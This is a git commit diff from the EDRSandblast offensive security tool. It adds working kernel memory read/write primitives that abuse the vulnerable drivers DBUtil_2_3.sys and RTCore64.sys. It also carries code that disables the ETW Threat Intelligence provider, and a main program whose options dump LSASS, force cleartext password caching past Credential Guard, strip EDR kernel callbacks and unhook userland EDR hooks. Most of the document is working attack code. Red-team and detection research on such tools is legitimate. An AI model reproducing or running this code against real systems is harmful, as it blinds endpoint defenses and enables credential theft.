mirror of
https://github.com/wavestone-cdt/EDRSandblast.git
synced 2026-06-13 18:53:34 +00:00
D3FC0N 30 release: Obj callbacks, firewalling, symbols w/ internet, and more
Co-authored-by: Maxime Meignan <maxime.meignan@wavestone.com>
This commit is contained in:
@@ -354,3 +354,7 @@ Offsets/*.exe
|
||||
Offsets/*.dll
|
||||
/Offsets/nt
|
||||
/Offsets/wd
|
||||
|
||||
# Exclude drivers and lsass dumps
|
||||
*.sys
|
||||
lsass
|
||||
+40
-3
@@ -1,9 +1,22 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio Version 16
|
||||
VisualStudioVersion = 16.0.31129.286
|
||||
# Visual Studio Version 17
|
||||
VisualStudioVersion = 17.2.32616.157
|
||||
MinimumVisualStudioVersion = 10.0.40219.1
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "EDRSandblast", "EDRSandblast\EDRSandblast.vcxproj", "{7E3E2ECE-D1EB-43C6-8C83-B52B7571954B}"
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "EDRSandblast_Core", "EDRSandblast\EDRSandblast.vcxproj", "{7E3E2ECE-D1EB-43C6-8C83-B52B7571954B}"
|
||||
EndProject
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "EDRSandblast_StaticLibrary", "EDRSandblast_StaticLibrary\EDRSandblast_StaticLibrary.vcxproj", "{3A2FCB56-01A3-41B3-BDAA-B25F45784B23}"
|
||||
EndProject
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "EDRSandblast_LsassDump", "EDRSandblast_LsassDump\EDRSandblast_LsassDump.vcxproj", "{04DFB6E4-809E-4C35-88A1-2CC5F1EBFEBD}"
|
||||
ProjectSection(ProjectDependencies) = postProject
|
||||
{3A2FCB56-01A3-41B3-BDAA-B25F45784B23} = {3A2FCB56-01A3-41B3-BDAA-B25F45784B23}
|
||||
{7E3E2ECE-D1EB-43C6-8C83-B52B7571954B} = {7E3E2ECE-D1EB-43C6-8C83-B52B7571954B}
|
||||
EndProjectSection
|
||||
EndProject
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "EDRSandblast_CLI", "EDRSandblast_CLI\EDRSandblast_CLI.vcxproj", "{FFA0FDDE-BE70-49E4-97DE-753304EF1113}"
|
||||
ProjectSection(ProjectDependencies) = postProject
|
||||
{7E3E2ECE-D1EB-43C6-8C83-B52B7571954B} = {7E3E2ECE-D1EB-43C6-8C83-B52B7571954B}
|
||||
EndProjectSection
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
@@ -21,6 +34,30 @@ Global
|
||||
{7E3E2ECE-D1EB-43C6-8C83-B52B7571954B}.Release|x64.Build.0 = Release|x64
|
||||
{7E3E2ECE-D1EB-43C6-8C83-B52B7571954B}.Release|x86.ActiveCfg = Release|Win32
|
||||
{7E3E2ECE-D1EB-43C6-8C83-B52B7571954B}.Release|x86.Build.0 = Release|Win32
|
||||
{3A2FCB56-01A3-41B3-BDAA-B25F45784B23}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{3A2FCB56-01A3-41B3-BDAA-B25F45784B23}.Debug|x64.Build.0 = Debug|x64
|
||||
{3A2FCB56-01A3-41B3-BDAA-B25F45784B23}.Debug|x86.ActiveCfg = Debug|Win32
|
||||
{3A2FCB56-01A3-41B3-BDAA-B25F45784B23}.Debug|x86.Build.0 = Debug|Win32
|
||||
{3A2FCB56-01A3-41B3-BDAA-B25F45784B23}.Release|x64.ActiveCfg = Release|x64
|
||||
{3A2FCB56-01A3-41B3-BDAA-B25F45784B23}.Release|x64.Build.0 = Release|x64
|
||||
{3A2FCB56-01A3-41B3-BDAA-B25F45784B23}.Release|x86.ActiveCfg = Release|Win32
|
||||
{3A2FCB56-01A3-41B3-BDAA-B25F45784B23}.Release|x86.Build.0 = Release|Win32
|
||||
{04DFB6E4-809E-4C35-88A1-2CC5F1EBFEBD}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{04DFB6E4-809E-4C35-88A1-2CC5F1EBFEBD}.Debug|x64.Build.0 = Debug|x64
|
||||
{04DFB6E4-809E-4C35-88A1-2CC5F1EBFEBD}.Debug|x86.ActiveCfg = Debug|Win32
|
||||
{04DFB6E4-809E-4C35-88A1-2CC5F1EBFEBD}.Debug|x86.Build.0 = Debug|Win32
|
||||
{04DFB6E4-809E-4C35-88A1-2CC5F1EBFEBD}.Release|x64.ActiveCfg = Release|x64
|
||||
{04DFB6E4-809E-4C35-88A1-2CC5F1EBFEBD}.Release|x64.Build.0 = Release|x64
|
||||
{04DFB6E4-809E-4C35-88A1-2CC5F1EBFEBD}.Release|x86.ActiveCfg = Release|Win32
|
||||
{04DFB6E4-809E-4C35-88A1-2CC5F1EBFEBD}.Release|x86.Build.0 = Release|Win32
|
||||
{FFA0FDDE-BE70-49E4-97DE-753304EF1113}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{FFA0FDDE-BE70-49E4-97DE-753304EF1113}.Debug|x64.Build.0 = Debug|x64
|
||||
{FFA0FDDE-BE70-49E4-97DE-753304EF1113}.Debug|x86.ActiveCfg = Debug|Win32
|
||||
{FFA0FDDE-BE70-49E4-97DE-753304EF1113}.Debug|x86.Build.0 = Debug|Win32
|
||||
{FFA0FDDE-BE70-49E4-97DE-753304EF1113}.Release|x64.ActiveCfg = Release|x64
|
||||
{FFA0FDDE-BE70-49E4-97DE-753304EF1113}.Release|x64.Build.0 = Release|x64
|
||||
{FFA0FDDE-BE70-49E4-97DE-753304EF1113}.Release|x86.ActiveCfg = Release|Win32
|
||||
{FFA0FDDE-BE70-49E4-97DE-753304EF1113}.Release|x86.Build.0 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
|
||||
@@ -0,0 +1,118 @@
|
||||
#include <windows.h>
|
||||
#include <assert.h>
|
||||
#include <tchar.h>
|
||||
|
||||
#include "../EDRSandblast.h"
|
||||
|
||||
/*
|
||||
* "DBUtil_2_3.sys" (SHA256: 0296e2ce999e67c76352613a718e11516fe1b0efc3ffdb8918fc999dd76a73a5)
|
||||
*/
|
||||
|
||||
struct DBUTIL23_MEMORY_READ {
|
||||
DWORD64 field0;
|
||||
DWORD64 Address;
|
||||
DWORD Offset;
|
||||
DWORD field14;
|
||||
BYTE Buffer[1];
|
||||
};
|
||||
|
||||
struct DBUTIL23_MEMORY_WRITE {
|
||||
DWORD64 field0;
|
||||
DWORD64 Address;
|
||||
DWORD Offset;
|
||||
DWORD field14;
|
||||
BYTE Buffer[1];
|
||||
};
|
||||
|
||||
static const DWORD DBUTIL23_MEMORY_READ_CODE = 0x9B0C1EC4;
|
||||
static const DWORD DBUTIL23_MEMORY_WRITE_CODE = 0x9B0C1EC8;
|
||||
|
||||
static_assert(offsetof(struct DBUTIL23_MEMORY_READ, Buffer) == 0x18, "sizeof DBUTIL23_MEMORY_READ must be 0x18 bytes");
|
||||
static_assert(offsetof(struct DBUTIL23_MEMORY_WRITE, Buffer) == 0x18, "sizeof DBUTIL23_MEMORY_WRITE must be 0x18 bytes");
|
||||
|
||||
HANDLE g_Device_DBUtil = INVALID_HANDLE_VALUE;
|
||||
HANDLE GetDriverHandle_DBUtil() {
|
||||
if (g_Device_DBUtil == INVALID_HANDLE_VALUE) {
|
||||
TCHAR service[] = TEXT("\\\\.\\DBUtil_2_3");
|
||||
HANDLE Device = CreateFile(service, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
|
||||
|
||||
if (Device == INVALID_HANDLE_VALUE) {
|
||||
_tprintf_or_not(TEXT("[!] Unable to obtain a handle to the vulnerable driver, exiting...\n"));
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
g_Device_DBUtil = Device;
|
||||
}
|
||||
|
||||
return g_Device_DBUtil;
|
||||
}
|
||||
|
||||
VOID CloseDriverHandle_DBUtil() {
|
||||
CloseHandle(g_Device_DBUtil);
|
||||
g_Device_DBUtil = INVALID_HANDLE_VALUE;
|
||||
}
|
||||
|
||||
|
||||
|
||||
VOID ReadMemoryPrimitive_DBUtil(SIZE_T Size, DWORD64 Address, PVOID Buffer) {
|
||||
struct DBUTIL23_MEMORY_READ* ReadCommand = calloc(1, Size + sizeof(struct DBUTIL23_MEMORY_READ));
|
||||
if (!ReadCommand) {
|
||||
_putts_or_not(TEXT("Allocation failed, aborting...\n"));
|
||||
exit(1);
|
||||
}
|
||||
ReadCommand->Address = Address;
|
||||
ReadCommand->Offset = 0;
|
||||
|
||||
DWORD BytesReturned;
|
||||
|
||||
if (Address < 0x0000800000000000) {
|
||||
_tprintf_or_not(TEXT("Userland address used: 0x%016llx\nThis should not happen, aborting...\n"), Address);
|
||||
exit(1);
|
||||
}
|
||||
if (Address < 0xFFFF800000000000) {
|
||||
_tprintf_or_not(TEXT("Non canonical address used: 0x%016llx\nAborting to avoid a BSOD...\n"), Address);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
DeviceIoControl(GetDriverHandle_DBUtil(),
|
||||
DBUTIL23_MEMORY_READ_CODE,
|
||||
ReadCommand,
|
||||
offsetof(struct DBUTIL23_MEMORY_READ, Buffer) + (DWORD)Size,
|
||||
ReadCommand,
|
||||
offsetof(struct DBUTIL23_MEMORY_READ, Buffer) + (DWORD)Size,
|
||||
&BytesReturned,
|
||||
NULL);
|
||||
memcpy(Buffer, ReadCommand->Buffer, Size);
|
||||
}
|
||||
|
||||
|
||||
VOID WriteMemoryPrimitive_DBUtil(SIZE_T Size, DWORD64 Address, PVOID Buffer) {
|
||||
struct DBUTIL23_MEMORY_WRITE* WriteCommand = calloc(1, Size + sizeof(struct DBUTIL23_MEMORY_WRITE));
|
||||
if (!WriteCommand) {
|
||||
_putts_or_not(TEXT("Allocation failed, aborting...\n"));
|
||||
exit(1);
|
||||
}
|
||||
WriteCommand->Address = Address;
|
||||
WriteCommand->Offset = 0;
|
||||
|
||||
DWORD BytesReturned;
|
||||
|
||||
if (Address < 0x0000800000000000) {
|
||||
_tprintf_or_not(TEXT("Userland address used: 0x%016llx\nThis should not happen, aborting...\n"), Address);
|
||||
exit(1);
|
||||
}
|
||||
if (Address < 0xFFFF800000000000) {
|
||||
_tprintf_or_not(TEXT("Non canonical address used: 0x%016llx\nAborting to avoid a BSOD...\n"), Address);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
memcpy(WriteCommand->Buffer, Buffer, Size);
|
||||
DeviceIoControl(GetDriverHandle_DBUtil(),
|
||||
DBUTIL23_MEMORY_WRITE_CODE,
|
||||
WriteCommand,
|
||||
offsetof(struct DBUTIL23_MEMORY_WRITE, Buffer) + (DWORD)Size,
|
||||
WriteCommand,
|
||||
offsetof(struct DBUTIL23_MEMORY_WRITE, Buffer) + (DWORD)Size,
|
||||
&BytesReturned,
|
||||
NULL);
|
||||
}
|
||||
|
||||
@@ -0,0 +1,168 @@
|
||||
#include <windows.h>
|
||||
#include <assert.h>
|
||||
#include <tchar.h>
|
||||
|
||||
#if NO_STRINGS
|
||||
#define _putts_or_not(...)
|
||||
#define _tprintf_or_not(...)
|
||||
#define wprintf_or_not(...)
|
||||
#define printf_or_not(...)
|
||||
#pragma warning(disable : 4189)
|
||||
|
||||
#else
|
||||
#define _putts_or_not(...) _putts(__VA_ARGS__)
|
||||
#define _tprintf_or_not(...) _tprintf(__VA_ARGS__)
|
||||
#define printf_or_not(...) printf(__VA_ARGS__)
|
||||
#define wprintf_or_not(...) wprintf(__VA_ARGS__)
|
||||
#endif
|
||||
|
||||
/*
|
||||
* "RTCore64.sys" (SHA256: 01AA278B07B58DC46C84BD0B1B5C8E9EE4E62EA0BF7A695862444AF32E87F1FD)
|
||||
*/
|
||||
|
||||
struct RTCORE64_MEMORY_READ {
|
||||
BYTE Pad0[8];
|
||||
DWORD64 Address;
|
||||
DWORD Pad1;
|
||||
DWORD Offset;
|
||||
DWORD ReadSize;
|
||||
DWORD Value;
|
||||
BYTE Pad3[16];
|
||||
};
|
||||
|
||||
struct RTCORE64_MEMORY_WRITE {
|
||||
BYTE Pad0[8];
|
||||
DWORD64 Address;
|
||||
DWORD Pad1;
|
||||
DWORD Offset;
|
||||
DWORD WriteSize;
|
||||
DWORD Value;
|
||||
BYTE Pad3[16];
|
||||
};
|
||||
|
||||
static const DWORD RTCORE64_MEMORY_READ_CODE = 0x80002048;
|
||||
static const DWORD RTCORE64_MEMORY_WRITE_CODE = 0x8000204c;
|
||||
|
||||
static_assert(sizeof(struct RTCORE64_MEMORY_READ) == 48, "sizeof RTCORE64_MEMORY_READ must be 48 bytes");
|
||||
static_assert(sizeof(struct RTCORE64_MEMORY_WRITE) == 48, "sizeof RTCORE64_MEMORY_WRITE must be 48 bytes");
|
||||
|
||||
HANDLE g_Device_RTCore = INVALID_HANDLE_VALUE;
|
||||
HANDLE GetDriverHandle_RTCore() {
|
||||
if (g_Device_RTCore == INVALID_HANDLE_VALUE) {
|
||||
TCHAR service[] = TEXT("\\\\.\\RTCore64");
|
||||
HANDLE Device = CreateFile(service, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
|
||||
|
||||
if (Device == INVALID_HANDLE_VALUE) {
|
||||
_tprintf_or_not(TEXT("[!] Unable to obtain a handle to the vulnerable driver, exiting...\n"));
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
g_Device_RTCore = Device;
|
||||
}
|
||||
|
||||
return g_Device_RTCore;
|
||||
}
|
||||
|
||||
VOID CloseDriverHandle_RTCore() {
|
||||
CloseHandle(g_Device_RTCore);
|
||||
g_Device_RTCore = INVALID_HANDLE_VALUE;
|
||||
}
|
||||
|
||||
|
||||
|
||||
VOID ReadMemoryPrimitive_RTCore(SIZE_T Size, DWORD64 Address, PVOID Buffer) {
|
||||
while (Size) {
|
||||
struct RTCORE64_MEMORY_READ ReadCommand = { 0 };
|
||||
ReadCommand.Address = Address;
|
||||
if (Size >= 4) {
|
||||
ReadCommand.ReadSize = 4;
|
||||
}
|
||||
else if (Size >= 2) {
|
||||
ReadCommand.ReadSize = 2;
|
||||
}
|
||||
else {
|
||||
ReadCommand.ReadSize = 1;
|
||||
}
|
||||
ReadCommand.Offset = 0;
|
||||
|
||||
DWORD BytesReturned;
|
||||
|
||||
if (Address < 0x0000800000000000) {
|
||||
_tprintf_or_not(TEXT("Userland address used: 0x%016llx\nThis should not happen, aborting...\n"), Address);
|
||||
exit(1);
|
||||
}
|
||||
if (Address < 0xFFFF800000000000) {
|
||||
_tprintf_or_not(TEXT("Non canonical address used: 0x%016llx\nAborting to avoid a BSOD...\n"), Address);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
DeviceIoControl(GetDriverHandle_RTCore(),
|
||||
RTCORE64_MEMORY_READ_CODE,
|
||||
&ReadCommand,
|
||||
sizeof(ReadCommand),
|
||||
&ReadCommand,
|
||||
sizeof(ReadCommand),
|
||||
&BytesReturned,
|
||||
NULL);
|
||||
|
||||
Address += ReadCommand.ReadSize;
|
||||
if (Size >= 4) {
|
||||
*(PDWORD)Buffer = (DWORD)ReadCommand.Value;
|
||||
}
|
||||
else if (Size >= 2) {
|
||||
*(PWORD)Buffer = (WORD)ReadCommand.Value;
|
||||
}
|
||||
else {
|
||||
*(PBYTE)Buffer = (BYTE)ReadCommand.Value;
|
||||
}
|
||||
Size -= ReadCommand.ReadSize;
|
||||
Buffer = (PVOID)(((DWORD64)Buffer) + ReadCommand.ReadSize);
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
* RTCore driver allows to write 1, 2 or 4 bytes at a type
|
||||
*/
|
||||
VOID WriteMemoryPrimitive_RTCore(SIZE_T Size, DWORD64 Address, PVOID Buffer) {
|
||||
while (Size) {
|
||||
struct RTCORE64_MEMORY_WRITE WriteCommand = { 0 };
|
||||
WriteCommand.Address = Address;
|
||||
if (Size >= 4) {
|
||||
WriteCommand.WriteSize = 4;
|
||||
WriteCommand.Value = *(PDWORD)Buffer;
|
||||
}
|
||||
else if (Size >= 2) {
|
||||
WriteCommand.WriteSize = 2;
|
||||
WriteCommand.Value = *(PWORD)Buffer;
|
||||
}
|
||||
else {
|
||||
WriteCommand.WriteSize = 1;
|
||||
WriteCommand.Value = *(PBYTE)Buffer;
|
||||
}
|
||||
WriteCommand.Offset = 0;
|
||||
|
||||
DWORD BytesReturned;
|
||||
|
||||
if (Address < 0x0000800000000000) {
|
||||
_tprintf_or_not(TEXT("Userland address used: 0x%016llx\nThis should not happen, aborting...\n"), Address);
|
||||
exit(1);
|
||||
}
|
||||
if (Address < 0xFFFF800000000000) {
|
||||
_tprintf_or_not(TEXT("Non canonical address used: 0x%016llx\nAborting to avoid a BSOD...\n"), Address);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
DeviceIoControl(GetDriverHandle_RTCore (),
|
||||
RTCORE64_MEMORY_WRITE_CODE,
|
||||
&WriteCommand,
|
||||
sizeof(WriteCommand),
|
||||
&WriteCommand,
|
||||
sizeof(WriteCommand),
|
||||
&BytesReturned,
|
||||
NULL);
|
||||
|
||||
Address += WriteCommand.WriteSize;
|
||||
Size -= WriteCommand.WriteSize;
|
||||
Buffer = (PVOID)(((DWORD64)Buffer) + WriteCommand.WriteSize);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,89 +0,0 @@
|
||||
/*
|
||||
|
||||
--- ETW Threat Intelligence operations.
|
||||
--- Inspiration and credit: https://public.cnotools.studio/bring-your-own-vulnerable-kernel-driver-byovkd/exploits/data-only-attack-neutralizing-etwti-provider
|
||||
|
||||
*/
|
||||
|
||||
#include <Windows.h>
|
||||
#include <Tchar.h>
|
||||
|
||||
#include "ETWThreatIntel.h"
|
||||
#include "KernelMemoryPrimitives.h"
|
||||
#include "NtoskrnlOffsets.h"
|
||||
|
||||
DWORD64 GetEtwThreatIntProvRegHandleAddress() {
|
||||
if (ntoskrnlOffsets.st.etwThreatIntProvRegHandle == 0x0) {
|
||||
return 0x0;
|
||||
}
|
||||
|
||||
DWORD64 Ntoskrnlbaseaddress = FindNtoskrnlBaseAddress();
|
||||
return Ntoskrnlbaseaddress + ntoskrnlOffsets.st.etwThreatIntProvRegHandle;
|
||||
}
|
||||
|
||||
DWORD64 GetEtwThreatInt_ProviderEnableInfoAddress(BOOL verbose) {
|
||||
if (ntoskrnlOffsets.st.etwThreatIntProvRegHandle == 0x0 || ntoskrnlOffsets.st.etwRegEntry_GuidEntry == 0x0 || ntoskrnlOffsets.st.etwGuidEntry_ProviderEnableInfo == 0x0) {
|
||||
_tprintf(TEXT("[!] ETW Threat Intel ProviderEnableInfo address could not be found. This version of ntoskrnl may not implement ETW Threat Intel.\n"));
|
||||
return 0x0;
|
||||
}
|
||||
|
||||
HANDLE Device = GetDriverHandle();
|
||||
DWORD64 etwThreatIntProvRegHandleAddress = GetEtwThreatIntProvRegHandleAddress();
|
||||
|
||||
DWORD64 etwThreatInt_ETW_REG_ENTRYAddress = ReadMemoryDWORD64(Device, etwThreatIntProvRegHandleAddress);
|
||||
if (verbose) {
|
||||
_tprintf(TEXT("[+] Found ETW Threat Intel provider _ETW_REG_ENTRY at 0x%I64x\n"), etwThreatInt_ETW_REG_ENTRYAddress);
|
||||
}
|
||||
DWORD64 etwThreatInt_ETW_GUID_ENTRYAddress = ReadMemoryDWORD64(Device, etwThreatInt_ETW_REG_ENTRYAddress + ntoskrnlOffsets.st.etwRegEntry_GuidEntry);
|
||||
|
||||
CloseHandle(Device);
|
||||
|
||||
return etwThreatInt_ETW_GUID_ENTRYAddress + ntoskrnlOffsets.st.etwGuidEntry_ProviderEnableInfo;
|
||||
}
|
||||
|
||||
void EnableDisableETWThreatIntelProvider(BOOL verbose, BOOL enable) {
|
||||
DWORD64 etwThreatInt_ProviderEnableInfoAddress = GetEtwThreatInt_ProviderEnableInfoAddress(verbose);
|
||||
if (etwThreatInt_ProviderEnableInfoAddress == 0x0) {
|
||||
return;
|
||||
}
|
||||
|
||||
_tprintf(TEXT("[*] Attempting to %s the ETW Threat Intel provider by patching ProviderEnableInfo at 0x%I64x with 0x%02X.\n"),
|
||||
enable ? TEXT("(re)enable") : TEXT("disable"), etwThreatInt_ProviderEnableInfoAddress, enable ? ENABLE_PROVIDER : DISABLE_PROVIDER);
|
||||
HANDLE Device = GetDriverHandle();
|
||||
WriteMemoryBYTE(Device, etwThreatInt_ProviderEnableInfoAddress, enable ? ENABLE_PROVIDER : DISABLE_PROVIDER);
|
||||
|
||||
BOOL finalState = isETWThreatIntelProviderEnabled(verbose);
|
||||
if (finalState == enable) {
|
||||
_tprintf(TEXT("[+] The ETW Threat Intel provider was successfully %s!\n"), enable ? TEXT("enabled") : TEXT("disabled"));
|
||||
}
|
||||
else {
|
||||
_tprintf(TEXT("[!] Failed to %s the ETW Threat Intel provider!\n"), enable ? TEXT("enable") : TEXT("disable"));
|
||||
}
|
||||
|
||||
CloseHandle(Device);
|
||||
}
|
||||
|
||||
|
||||
void DisableETWThreatIntelProvider(BOOL verbose) {
|
||||
EnableDisableETWThreatIntelProvider(verbose, FALSE);
|
||||
}
|
||||
|
||||
|
||||
void EnableETWThreatIntelProvider(BOOL verbose) {
|
||||
EnableDisableETWThreatIntelProvider(verbose, TRUE);
|
||||
}
|
||||
|
||||
|
||||
BOOL isETWThreatIntelProviderEnabled(BOOL verbose) {
|
||||
DWORD64 etwThreatInt_ProviderEnableInfoAddress = GetEtwThreatInt_ProviderEnableInfoAddress(verbose);
|
||||
|
||||
if (etwThreatInt_ProviderEnableInfoAddress == 0x0) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
HANDLE Device = GetDriverHandle();
|
||||
BYTE etwThreatInt_ProviderEnableInfoValue = ReadMemoryBYTE(Device, etwThreatInt_ProviderEnableInfoAddress);
|
||||
CloseHandle(Device);
|
||||
|
||||
return etwThreatInt_ProviderEnableInfoValue == ENABLE_PROVIDER;
|
||||
}
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,9 +1,28 @@
|
||||
#pragma once
|
||||
|
||||
//TODO P1 : implement a "clean" mode that only removes the driver if installed
|
||||
//TODO P2 : replace all instances of exit(1) by a clean_exit() function that uninstalls the driver before exiting
|
||||
typedef enum _START_MODE {
|
||||
dump,
|
||||
cmd,
|
||||
credguard,
|
||||
audit,
|
||||
firewall,
|
||||
none
|
||||
} START_MODE;
|
||||
|
||||
#define NO_STRINGS 0
|
||||
|
||||
#if NO_STRINGS
|
||||
#define _putts_or_not(...)
|
||||
#define _tprintf_or_not(...)
|
||||
#define wprintf_or_not(...)
|
||||
#define printf_or_not(...)
|
||||
#pragma warning(disable : 4189)
|
||||
|
||||
#else
|
||||
#define _putts_or_not(...) _putts(__VA_ARGS__)
|
||||
#define _tprintf_or_not(...) _tprintf(__VA_ARGS__)
|
||||
#define printf_or_not(...) printf(__VA_ARGS__)
|
||||
#define wprintf_or_not(...) wprintf(__VA_ARGS__)
|
||||
#endif
|
||||
@@ -1,549 +0,0 @@
|
||||
#include <Windows.h>
|
||||
#include <stdio.h>
|
||||
#include <Tchar.h>
|
||||
|
||||
#ifdef _DEBUG
|
||||
#include <assert.h>
|
||||
#endif
|
||||
|
||||
#include "CredGuard.h"
|
||||
#include "DriverOps.h"
|
||||
#include "ETWThreatIntel.h"
|
||||
#include "KernelCallbacks.h"
|
||||
#include "LSASSDump.h"
|
||||
#include "NtoskrnlOffsets.h"
|
||||
#include "RunAsPPL.h"
|
||||
#include "WdigestOffsets.h"
|
||||
#include "UserlandHooks.h"
|
||||
|
||||
#include "EDRSandBlast.h"
|
||||
|
||||
/*
|
||||
|
||||
--- Execution entry point.
|
||||
|
||||
*/
|
||||
|
||||
int _tmain(int argc, TCHAR** argv) {
|
||||
// Parse command line arguments and initialize variables to default values if needed.
|
||||
const TCHAR usage[] = TEXT("Usage: EDRSandblast.exe <audit | dump | cmd | credguard> [-h | --help] [-v | --verbose] [--usermode [--unhook-method <N>]] [--kernelmode] [--dont-unload-driver] [--dont-restore-callbacks] [--driver <RTCore64.sys>] [--service <SERVICE_NAME>] [--nt-offsets <NtoskrnlOffsets.csv>] [--wdigest-offsets <WdigestOffsets.csv>] [--add-dll <dll name or path>]* [-o | --dump-output <DUMP_FILE>]");
|
||||
const TCHAR extendedUsage[] = TEXT("\n\
|
||||
-h | --help Show this help message and exit.\n\
|
||||
-v | --verbose Enable a more verbose output.\n\
|
||||
\n\
|
||||
Actions mode:\n\
|
||||
\n\
|
||||
\taudit Display the user-land hooks and / or Kernel callbacks without taking actions.\n\
|
||||
\tdump Dump the LSASS process, by default as 'lsass' in the current directory or at the\n\
|
||||
\t specified file using -o | --output <DUMP_FILE>.\n\
|
||||
\tcmd Open a cmd.exe prompt.\n\
|
||||
\tcredguard Patch the LSASS process' memory to enable Wdigest cleartext passwords caching even if\n\
|
||||
\t Credential Guard is enabled on the host. No kernel-land actions required.\n\
|
||||
\n\
|
||||
--usermode Perform user-land operations (DLL unhooking).\n\
|
||||
--kernelmode Perform kernel-land operations (Kernel callbacks removal and ETW TI disabling).\n\
|
||||
\n\
|
||||
--unhook-method <N>\n Choose the userland un-hooking technique, from the following: \n\
|
||||
\n\
|
||||
\t1 (Default) Uses the (probably monitored) NtProtectVirtualMemory function in ntdll to remove all\n\
|
||||
\t present userland hooks.\n\
|
||||
\t2 Constructs a 'unhooked' (i.e. unmonitored) version of NtProtectVirtualMemory, by\n\
|
||||
\t allocating an executable trampoline jumping over the hook, and remove all present\n\
|
||||
\t userland hooks.\n\
|
||||
\t3 Searches for an existing trampoline allocated by the EDR itself, to get an 'unhooked'\n\
|
||||
\t (i.e. unmonitored) version of NtProtectVirtualMemory, and remove all present userland\n\
|
||||
\t hooks.\n\
|
||||
\t4 Loads an additional version of ntdll library into memory, and use the (hopefully\n\
|
||||
\t unmonitored) version of NtProtectVirtualMemory present in this library to remove all\n\
|
||||
\t present userland hooks.\n\
|
||||
\t5 Allocates a shellcode that uses a direct syscall to call NtProtectVirtualMemory,\n\
|
||||
\t and uses it to remove all detected hooks\n\
|
||||
\n\
|
||||
Other options:\n\
|
||||
\n\
|
||||
--dont-unload-driver Keep the Micro-Star MSI Afterburner vulnerable driver installed on the host\n\
|
||||
Default to automatically unsinstall the driver.\n\
|
||||
--dont-restore-callbacks Do not restore the EDR drivers' Kernel Callbacks that were removed.\n\
|
||||
Default to restore the callbacks.\n\
|
||||
\n\
|
||||
--driver <RTCore64.sys> Path to the Micro-Star MSI Afterburner vulnerable driver file.\n\
|
||||
Default to 'RTCore64.sys' in the current directory.\n\
|
||||
--service <SERVICE_NAME> Name of the vulnerable service to intall / start.\n\
|
||||
\n\
|
||||
--nt-offsets <NtoskrnlOffsets.csv> Path to the CSV file containing the required ntoskrnl.exe's offsets.\n\
|
||||
Default to 'NtoskrnlOffsets.csv' in the current directory.\n\
|
||||
--wdigest-offsets <WdigestOffsets.csv> Path to the CSV file containing the required wdigest.dll's offsets\n\
|
||||
(only for the 'credguard' mode).\n\
|
||||
Default to 'WdigestOffsets.csv' in the current directory.\n\
|
||||
\n\
|
||||
--add-dll <dll name or path> Loads arbitrary libraries into the process' address space, before starting\n\
|
||||
anything. This can be useful to audit userland hooking for DLL that are not\n\
|
||||
loaded by default by this program. Use this option multiple times to load\n\
|
||||
multiple DLLs all at once.\n\
|
||||
Example of interesting DLLs to look at: user32.dll, ole32.dll, crypt32.dll,\n\
|
||||
samcli.dll, winhttp.dll, urlmon.dll, secur32.dll, shell32.dll...\n\
|
||||
\n\
|
||||
-o | --output <DUMP_FILE> Output path to the dump file that will be generated by the 'dump' mode.\n\
|
||||
Default to 'lsass' in the current directory.\n");
|
||||
BOOL status;
|
||||
TCHAR currentFolderPath[MAX_PATH] = { 0 };
|
||||
GetCurrentDirectory(_countof(currentFolderPath), currentFolderPath);
|
||||
|
||||
if (argc < 2) {
|
||||
_tprintf(TEXT("%s"), usage);
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
|
||||
START_MODE startMode = none;
|
||||
TCHAR driverPath[MAX_PATH * 2] = { 0 };
|
||||
TCHAR driverDefaultName[] = TEXT("RTCore64.sys");
|
||||
TCHAR ntoskrnlOffsetCSVPath[MAX_PATH * 2] = { 0 };
|
||||
TCHAR wdigestOffsetCSVPath[MAX_PATH * 2] = { 0 };
|
||||
TCHAR outputPath[MAX_PATH * 2] = { 0 };
|
||||
BOOL verbose = FALSE;
|
||||
BOOL removeVulnDriver = TRUE;
|
||||
BOOL restoreCallbacks = TRUE;
|
||||
BOOL userMode = FALSE;
|
||||
enum unhook_method_e unhook_method = UNHOOK_WITH_NTPROTECTVIRTUALMEMORY;
|
||||
BOOL kernelMode = FALSE;
|
||||
int lpExitCode = EXIT_SUCCESS;
|
||||
struct FOUND_EDR_CALLBACKS* checkEDRDrivers = NULL;
|
||||
struct FOUND_EDR_CALLBACKS* removedEDRDrivers = NULL;
|
||||
BOOL ETWTIState = FALSE;
|
||||
hook* hooks = NULL;
|
||||
|
||||
|
||||
for (int i = 1; i < argc; i++) {
|
||||
if (_tcsicmp(argv[i], TEXT("dump")) == 0) {
|
||||
startMode = dump;
|
||||
}
|
||||
else if (_tcsicmp(argv[i], TEXT("cmd")) == 0) {
|
||||
startMode = cmd;
|
||||
}
|
||||
else if (_tcsicmp(argv[i], TEXT("credguard")) == 0) {
|
||||
startMode = credguard;
|
||||
}
|
||||
else if (_tcsicmp(argv[i], TEXT("audit")) == 0) {
|
||||
startMode = audit;
|
||||
}
|
||||
